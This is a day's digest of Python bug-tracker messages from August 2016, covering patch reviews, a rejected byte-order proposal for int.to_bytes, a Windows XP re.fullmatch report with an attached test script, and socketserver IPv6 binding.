_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:36:12 2016 From: report at bugs.python.org (Quentin Pradet) Date: Tue, 02 Aug 2016 16:36:12 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1470155772.0.0.823635534878.issue27594@psf.upfronthosting.co.za> Changes by Quentin Pradet : ---------- nosy: +Quentin.Pradet _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:40:11 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 02 Aug 2016 16:40:11 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <1470156011.54.0.997268317737.issue27242@psf.upfronthosting.co.za> Ethan Furman added the comment: Did a little rewording and trimming (and formatting). Tried to keep the ideas while not being so verbose. ---------- Added file: http://bugs.python.org/file43977/issue27242.stoneleaf.01.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 12:42:23 2016 From: report at bugs.python.org (Ezio Melotti) Date: Tue, 02 Aug 2016 16:42:23 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <1470156143.91.0.417558306974.issue27242@psf.upfronthosting.co.za> Changes by Ezio Melotti : ---------- nosy: +ezio.melotti _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 13:00:25 2016 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 02 Aug 2016 17:00:25 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <1470157225.59.0.499050592743.issue27242@psf.upfronthosting.co.za> Emanuel Barry added the comment: Thanks Ethan for the improved patch! Pointed out a typo and some nits, but other than that it's mostly good. I'm not that good at brevity, and I think your patch is much better on that regard :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 13:19:37 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 02 Aug 2016 17:19:37 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <1470158377.12.0.78036952568.issue27242@psf.upfronthosting.co.za> Ethan Furman added the comment: Fixed the typos (thanks!), removed the self-reference, and went with "similar names and purposes". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:03:29 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 02 Aug 2016 18:03:29 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470161009.93.0.75131555375.issue27638@psf.upfronthosting.co.za> Changes by ???? ????????? : ---------- keywords: +patch Added file: http://bugs.python.org/file43978/host_net.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:05:02 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 18:05:02 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470161102.27.0.29332422888.issue27574@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Ping. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:25:52 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 02 Aug 2016 18:25:52 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470162352.91.0.644054530095.issue27638@psf.upfronthosting.co.za> Stefan Krah added the comment: ????, sorry for all this negativity. ;) But I'm also -1. What is wrong with socket.ntohs() etc.? ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:29:27 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 02 Aug 2016 18:29:27 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470162567.5.0.082663493642.issue27638@psf.upfronthosting.co.za> ???? ????????? added the comment: 1. I forgot to say: since I add new items to `if.. elif...elif.....` chain after testing for 'big' and 'little', this change will not slowdown current external code. 2. Well, slowdown of to_bytes() between 'big' and 'net' on my PC give about 3 percents. 3. to_bytes(2, sys.byteorder) is timed exactly as 'host'. ./python -m timeit -s 'import sys' -n 10000000 '(1234).to_bytes(2, sys.byteorder)' # iteration counter is required to stabilize results. 4. As I think, Python should also be simple and intuitive. If everyone thinks as those, who set (-1) on this issue, we will neve add .to_bytes()/.from_bytes(), since there are already TWO (!) modules to do conversion to/from bytes: `ctypes` (https://docs.python.org/3/library/ctypes.html#ctypes.BigEndianStructure) and `struct`. Answer is: it is unsuitable and not comfort for the programmer. Why not to make really good practical API ? And also, I want to call @gvanrossum.. I'm disappointed. This change is so obvious thing, that I don't understand how to explain... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:31:54 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 02 Aug 2016 18:31:54 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470162714.92.0.553384189241.issue27638@psf.upfronthosting.co.za> ???? ????????? added the comment: @skrah, what about integers with length not equal to 2 or 4 bytes, and also signed ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:32:41 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 02 Aug 2016 18:32:41 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470162761.11.0.942710279992.issue27638@psf.upfronthosting.co.za> ???? ????????? added the comment: Well, I provide the patch, as you can see it is very simple. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:33:56 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 02 Aug 2016 18:33:56 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470162836.56.0.662048721405.issue27638@psf.upfronthosting.co.za> Changes by ???? ????????? : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:53:51 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 18:53:51 +0000 Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass correctly In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za> Message-ID: <1470164031.45.0.134493175549.issue24214@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The patch slows down decoding up to 20%. $ ./python -m timeit -s 'b = b"\xc4\x80"*10000' -- 'b.decode()' Unpatched: 10000 loops, best of 3: 50.8 usec per loop Patched: 10000 loops, best of 3: 63.3 usec per loop And I'm not sure that fixing only for the surrogatepass handler is enough. Other standard error handlers look working, but what if a user handler consumes more then one byte? ---------- components: +Interpreter Core priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:54:55 2016 From: report at bugs.python.org (Joe Jevnik) Date: Tue, 02 Aug 2016 18:54:55 +0000 Subject: [issue27241] Catch exceptions raised in pstats add (repl) In-Reply-To: <1465235217.03.0.206339762722.issue27241@psf.upfronthosting.co.za> Message-ID: <1470164095.02.0.93702134792.issue27241@psf.upfronthosting.co.za> Joe Jevnik added the comment: bump ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 14:56:21 2016 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 02 Aug 2016 18:56:21 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470164181.94.0.0440548966199.issue27638@psf.upfronthosting.co.za> Guido van Rossum added the comment: I'm also -1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:13:30 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 02 Aug 2016 19:13:30 +0000 Subject: [issue27638] int.to_bytes() and int.from_bytes() should support 'net' and 'host' byte orders In-Reply-To: <1469676753.14.0.293041836709.issue27638@psf.upfronthosting.co.za> Message-ID: <1470165210.3.0.128173923197.issue27638@psf.upfronthosting.co.za> Raymond Hettinger added the comment: ????, thank you for the suggestion, but we've decided to decline the request. ---------- nosy: +rhettinger resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:20:59 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 19:20:59 +0000 Subject: [issue24082] Obsolete note in argument parsing (c-api/arg.rst) In-Reply-To: <1430403570.61.0.800757161817.issue24082@psf.upfronthosting.co.za> Message-ID: <1470165659.9.0.741359389349.issue24082@psf.upfronthosting.co.za> Berker Peksag added the comment: The patch looks good to me. Note that the patch in issue 24278 also removes the same note. ---------- nosy: +berker.peksag stage: -> patch review type: -> behavior versions: +Python 3.5, Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:34:21 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 02 Aug 2016 19:34:21 +0000 Subject: [issue26109] _Py_DumpTraceback should be PyAPI_FUNC In-Reply-To: <1452777034.65.0.00477411953399.issue26109@psf.upfronthosting.co.za> Message-ID: <1470166461.36.0.598793409885.issue26109@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report. This has already been fixed in 4f5e4155c259 ( Python 3.5+) ---------- nosy: +berker.peksag resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:39:23 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 02 Aug 2016 19:39:23 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470166763.12.0.776192655328.issue20767@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: The patch looks reasonable, but needs to be tested on FreeBSD. ---------- nosy: +Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:52:29 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 02 Aug 2016 19:52:29 +0000 Subject: [issue22557] Local import is too slow In-Reply-To: <1412512141.77.0.0512115045124.issue22557@psf.upfronthosting.co.za> Message-ID: <1470167549.89.0.815895191788.issue22557@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your review Brett. ---------- assignee: -> serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 15:53:00 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 02 Aug 2016 19:53:00 +0000 Subject: [issue22557] Local import is too slow In-Reply-To: <1412512141.77.0.0512115045124.issue22557@psf.upfronthosting.co.za> Message-ID: <20160802195256.24880.20246.C1EDA0B6@psf.io> Roundup Robot added the comment: New changeset 64f195790a3a by Serhiy Storchaka in branch 'default': Issue #22557: Now importing already imported modules is up to 2.5 times faster. https://hg.python.org/cpython/rev/64f195790a3a ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 16:31:33 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 02 Aug 2016 20:31:33 +0000 Subject: [issue27241] Catch exceptions raised in pstats add (repl) In-Reply-To: <1465235217.03.0.206339762722.issue27241@psf.upfronthosting.co.za> Message-ID: <20160802203128.26447.79003.52442E7C@psf.io> Roundup Robot added the comment: New changeset d9e25fe35f46 by Stefan Krah in branch '3.5': Issue #27241: Catch exception when running pstats as main. https://hg.python.org/cpython/rev/d9e25fe35f46 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 16:34:08 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 02 Aug 2016 20:34:08 +0000 Subject: [issue27241] Catch exceptions raised in pstats add (repl) In-Reply-To: <1465235217.03.0.206339762722.issue27241@psf.upfronthosting.co.za> Message-ID: <1470170048.76.0.00924012761488.issue27241@psf.upfronthosting.co.za> Stefan Krah added the comment: Yes, I agree this is nicer. Thanks for the patch. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 16:35:42 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 02 Aug 2016 20:35:42 +0000 Subject: [issue27241] Catch exceptions raised in pstats add (repl) In-Reply-To: <1465235217.03.0.206339762722.issue27241@psf.upfronthosting.co.za> Message-ID: <1470170142.78.0.63536261265.issue27241@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- assignee: -> skrah resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 16:56:05 2016 From: report at bugs.python.org (koobs) Date: Tue, 02 Aug 2016 20:56:05 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470171365.28.0.934430654183.issue20767@psf.upfronthosting.co.za> koobs added the comment: Nothing is required (as far as I'm aware) other than commit/merge on a two line change scoped only to FreeBSD. The issue was reported for and on FreeBSD and the patch has been carried locally in all FreeBSD Python ports/packages (2.7, 3.3, 3.4, 3.5) for over two years: https://svnweb.freebsd.org/ports?view=revision&revision=346428 https://svnweb.freebsd.org/ports?view=revision&revision=351610 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:00:57 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 02 Aug 2016 21:00:57 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470171657.69.0.175223105135.issue20767@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: I think this patch should pass to the next stage. Thank you, koobs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:08:06 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 02 Aug 2016 21:08:06 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470172086.89.0.0474241541206.issue20767@psf.upfronthosting.co.za> Stefan Krah added the comment: We can of course commit this, but could you also lobby here? https://llvm.org/bugs/show_bug.cgi?id=18164 I'm seeing this quite often that we fix something here and no one insists on the upstream bug trackers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:10:41 2016 From: report at bugs.python.org (Geoffrey Odhner) Date: Tue, 02 Aug 2016 21:10:41 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP Message-ID: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> New submission from Geoffrey Odhner: I have found a bug in python?s re.fullmatch() function when it?s running on Windows XP. On Mac OS X or Windows 7 the bug doesn?t occur. When I use fullmatch() with a regular expression that ends with ?$? it fails to match the string (on XP, but it matches on Mac OS and Win 7), but when I use that same regular expression with match() it works. I?m not in urgent need of a fix, since replacing those particular calls with match() gets around the problem and is giving consistent behavior across platforms, but the inconsistency in behavior in fullmatch() between platforms should be fixed. I?m using python 3.4.3 on all three platforms. ---------- components: Regular Expressions messages: 271853 nosy: ezio.melotti, ggodhner, mrabarnett priority: normal severity: normal status: open title: Bug in re.fullmatch() specific to Windows XP type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:21:13 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 02 Aug 2016 21:21:13 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470172873.18.0.606998605677.issue27669@psf.upfronthosting.co.za> Zachary Ware added the comment: Since this is not a security issue, 3.4 is in security fix only mode, and Windows XP is no longer supported in Python 3.5+, this will not be fixed. Thus, I'm closing the issue. However, this is bizarre :). There is no Windows-version-specific code in the re module, so the behavior should be exactly the same between XP and 7. Are you absolutely certain you're using exactly the same regular expression with exactly the same input on all three platforms? ---------- nosy: +zach.ware resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:31:29 2016 From: report at bugs.python.org (John Hagen) Date: Tue, 02 Aug 2016 21:31:29 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1470173489.5.0.0761801420703.issue26988@psf.upfronthosting.co.za> John Hagen added the comment: @Ethan I reviewed your latest patch. I think it's a good step forward in terms of simplicity. Most of my comments were not major. Even before this patch, I was mulling around how enum.Unique, enum.UniqueEnum, and enum.unique seemed to violate the "There should be one obvious way to do it" principle, so I like that you omitted those in the latest patch. Looks good to me, thanks for all of your work! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:35:04 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 02 Aug 2016 21:35:04 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470173704.15.0.904510946983.issue20767@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: Stefan, I've commented on the llvm bugzilla. Thanks for suggesting that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:35:30 2016 From: report at bugs.python.org (koobs) Date: Tue, 02 Aug 2016 21:35:30 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470173730.58.0.304052040756.issue20767@psf.upfronthosting.co.za> koobs added the comment: @Stefan I've notified our FreeBSD Clang/LLVM people of the upstream bug status, though there are indications that the "-Wl,-rpath" method is considered the recommended/canonical/future way to do things properly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:45:04 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 02 Aug 2016 21:45:04 +0000 Subject: [issue23710] C API doc for PyObject_HEAD is outdated In-Reply-To: <1426776099.01.0.644113037586.issue23710@psf.upfronthosting.co.za> Message-ID: <1470174304.78.0.981363300512.issue23710@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: There is a patch, and it looks good to me. This should be moved into 'commit review' state. ---------- nosy: +Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:49:36 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 02 Aug 2016 21:49:36 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <20160802214932.129017.5621.DF04D982@psf.io> Roundup Robot added the comment: New changeset adce94a718e3 by Alexander Belopolsky in branch 'default': Closes #27661: Added tzinfo keyword argument to datetime.combine. https://hg.python.org/cpython/rev/adce94a718e3 ---------- nosy: +python-dev resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 17:58:27 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 02 Aug 2016 21:58:27 +0000 Subject: [issue23710] C API doc for PyObject_HEAD is outdated In-Reply-To: <1426776099.01.0.644113037586.issue23710@psf.upfronthosting.co.za> Message-ID: <1470175107.64.0.876070986953.issue23710@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: Changed to commit review. ---------- stage: needs patch -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 18:02:32 2016 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 02 Aug 2016 22:02:32 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470175352.5.0.93780178956.issue27669@psf.upfronthosting.co.za> Matthew Barnett added the comment: FTR, I can't reproduce it. This is what I get on Windows XP (32-bit): Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (In tel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import re >>> re.fullmatch('abc$', 'abc') <_sre.SRE_Match object; span=(0, 3), match='abc'> >>> ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 18:20:08 2016 From: report at bugs.python.org (Ammar Askar) Date: Tue, 02 Aug 2016 22:20:08 +0000 Subject: [issue26267] UUID docs should say how to get "standard form" In-Reply-To: <1454438589.41.0.991764109365.issue26267@psf.upfronthosting.co.za> Message-ID: <1470176408.2.0.144763289635.issue26267@psf.upfronthosting.co.za> Ammar Askar added the comment: Fixed the str() representation as per Evelyn's comment. ---------- Added file: http://bugs.python.org/file43979/uuiddocs.diff2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 18:31:06 2016 From: report at bugs.python.org (Ammar Askar) Date: Tue, 02 Aug 2016 22:31:06 +0000 Subject: [issue26267] UUID docs should say how to get "standard form" In-Reply-To: <1454438589.41.0.991764109365.issue26267@psf.upfronthosting.co.za> Message-ID: <1470177066.26.0.275225890016.issue26267@psf.upfronthosting.co.za> Ammar Askar added the comment: Whoops, didn't export the patch properly there so it didn't get picked up by the review tool, this should fix it. ---------- Added file: http://bugs.python.org/file43980/uuiddocs.diff3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 18:41:52 2016 From: report at bugs.python.org (Geoffrey Odhner) Date: Tue, 02 Aug 2016 22:41:52 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172873.18.0.606998605677.issue27669@psf.upfronthosting.co.za> Message-ID: <007001d1ed0f$0d3bf2e0$27b3d8a0$@net> Geoffrey Odhner added the comment: I'm quite sure it's the same regular expression with the same code. It was a puzzling bug, and I thought it might take more to track it down than it did. I tried changing the file encoding on both the code and the data, and found that the problem didn't arise from that, or at least couldn't be fixed that way. I copied the files to the XP machine via a flash drive, and every copy warned me that the properties for the files were being lost. Otherwise the files were directly copied between machines. Are strings stored identically on Windows XP and Windows 7? If there is some variation in what the ends of strings look like on the two platforms, that might explain the discrepancy. Since Matthew Barnett reports being unable to reproduce the problem, I'll provide you with the full code and data I've used as a demonstration of the problem. The INCLUDE and DEFINE lines produce output for both match() and fullmatch() calls on Windows 7, but only for match() calls on Windows XP. My command line for running this code was: .\test.py This was run in the directory in which both files are saved. Of course it's possible that I've missed some other bug in my code that causes these regular expressions to match differently between platforms, but match() and fullmatch() are working the same on both Mac OS and Windows 7. I will appreciate your comments. Best regards, Geoff Odhner > -----Original Message----- > From: Zachary Ware [mailto:report at bugs.python.org] > Sent: Tuesday, August 02, 2016 5:21 PM > To: geoffrey at odhner.net > Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP > > > Zachary Ware added the comment: > > Since this is not a security issue, 3.4 is in security fix only mode, > and Windows XP is no longer supported in Python 3.5+, this will not be > fixed. Thus, I'm closing the issue. > > However, this is bizarre :). There is no Windows-version-specific code > in the re module, so the behavior should be exactly the same between XP > and 7. Are you absolutely certain you're using exactly the same > regular expression with exactly the same input on all three platforms? > > ---------- > nosy: +zach.ware > resolution: -> out of date > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ ---------- Added file: http://bugs.python.org/file43981/test.py Added file: http://bugs.python.org/file43982/test.txt _______________________________________ Python tracker _______________________________________ -------------- next part -------------- #! /usr/local/bin/python3 import sys, os, argparse, time, re, shutil, socket class Box: pass def main(argv): global errors errors = False regexes = Box() regexes.define = re.compile('^[\t ]*DEFINE:[\t ]*' '\$(?P\{)?(?P[A-Z0-9_.]+)(?(brace)\})' '[\t ]*=[\t ]*' '(?P((?P-)|([#A-Z]))?[.0-9]+)' '[ \t\r]*(;.*|\(.*\))?$', flags=re.IGNORECASE) regexes.include = re.compile('^[\t ]*INCLUDE:[\t ]*' '((?P[\'"])(?P[^\'"]+)' '(?P=quote)|(?P[^\t ]+))' '[ \t\r]*(;.*|\(.*\))?$', flags=re.IGNORECASE) def process_file(filename): nonlocal regexes infile = open(filename, encoding='utf-8') if not infile: log_error(0, "Input file couldn't be opened ", filename) return file_contents = infile.read() lines = file_contents.split('\n') for lineno in range(0, len(lines)): line = lines[lineno].strip() lines[lineno] = line found = regexes.include.fullmatch(line) if found: print('Include line fullmatch: ', line, file=sys.stderr) found = regexes.include.match(line) if found: print('Include line match: ', line, file=sys.stderr) found = regexes.define.fullmatch(line) if found: print('Define line fullmatch: ', line, file=sys.stderr) found = regexes.define.match(line) if found: print('Define line match: ', line, file=sys.stderr) process_file('test.txt') if __name__ == "__main__": global errors main(sys.argv[1:]) sys.exit(errors) -------------- next part -------------- INCLUDE: Constants.cnc DEFINE: $Version.Number = #500 ;;======================== Shared Variables: DEFINE: $Configured.Head.Thickness = #501 DEFINE: $Top.Fillet.Radius = #507 DEFINE: $Bottom.Fillet.Radius = #508 DEFINE: $Groove.Undercut = #509 DEFINE: $Groove.Depth = #510 DEFINE: $Bar.Width = #511 DEFINE: $Macro.Argument.A = #001 DEFINE: $Macro.Argument.B = #002 ;;; Variables local to any routine: DEFINE: $Temp.1 = #004 DEFINE: $Temp.2 = #005 DEFINE: $Temp.3 = #006 DEFINE: $Temp.4 = #007 DEFINE: $Temp.5 = #003 ;;; Variables local to O9000: DEFINE: $Groove.U.Tweak = #530 DEFINE: $Groove.And.Facing.W.Tweak = #531 INCLUDE: Config.cnc From report at bugs.python.org Tue Aug 2 18:44:01 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 02 Aug 2016 22:44:01 +0000 Subject: [issue20215] socketserver can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470177841.09.0.69238117398.issue20215@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 18:55:10 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 02 Aug 2016 22:55:10 +0000 Subject: [issue23710] C API doc for PyObject_HEAD is outdated In-Reply-To: <1426776099.01.0.644113037586.issue23710@psf.upfronthosting.co.za> Message-ID: <1470178510.76.0.615769085807.issue23710@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 19:23:57 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 02 Aug 2016 23:23:57 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470180237.46.0.974562764109.issue20215@psf.upfronthosting.co.za> Gregory P. Smith added the comment: TL;DR - We really need reliable tests for the exact behavior we want before coming up with patches. attached is a patch (-gps01) that would do the same thing as Lib/smtpd.py does... But I'm not convinced it is a good idea. Would forcing a socket.getaddrinfo() call from the constructor cause problems? This would be new behavior over what TCPServer did in the past. Could it trigger a blocking reverse DNS lookup where there wasn't one in the past? What about when server_address[0] is ''? getaddrinfo() fails on that, but the existing code works and binds to 0.0.0.0. Presumably this should bind via AF_INET6 if the host supports it but a simple getaddrinfo() call doesn't tell us that. ---------- title: socketserver can not listen IPv6 address -> socketserver.TCPServer can not listen IPv6 address Added file: http://bugs.python.org/file43983/issue20215-gps01.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 19:31:41 2016 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 02 Aug 2016 23:31:41 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470180701.98.0.303035889991.issue27669@psf.upfronthosting.co.za> Matthew Barnett added the comment: When I tried it, I got matches for both 'match' and 'fullmatch' (output attached as 'output.txt') as expected. ---------- Added file: http://bugs.python.org/file43984/output.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 